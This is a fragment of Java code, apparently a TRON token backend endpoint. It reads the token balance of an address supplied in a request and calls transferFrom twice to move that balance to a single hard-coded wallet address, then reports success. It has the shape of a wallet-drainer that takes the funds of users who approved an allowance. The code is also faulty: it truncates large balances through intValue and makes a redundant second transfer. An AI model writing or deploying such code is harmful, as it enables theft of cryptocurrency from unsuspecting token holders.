| | |
| | | BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); |
| | | System.out.println(balanceOf); |
| | | |
| | | BigInteger decimals = token.decimals(); |
| | | |
| | | BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue()); |
| | | BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, RoundingMode.DOWN); |
| | | |
| | | token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L); |
| | | |
| | | token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L); |
| | | return new FebsResponse().success(); |
| | | } |
| | | } |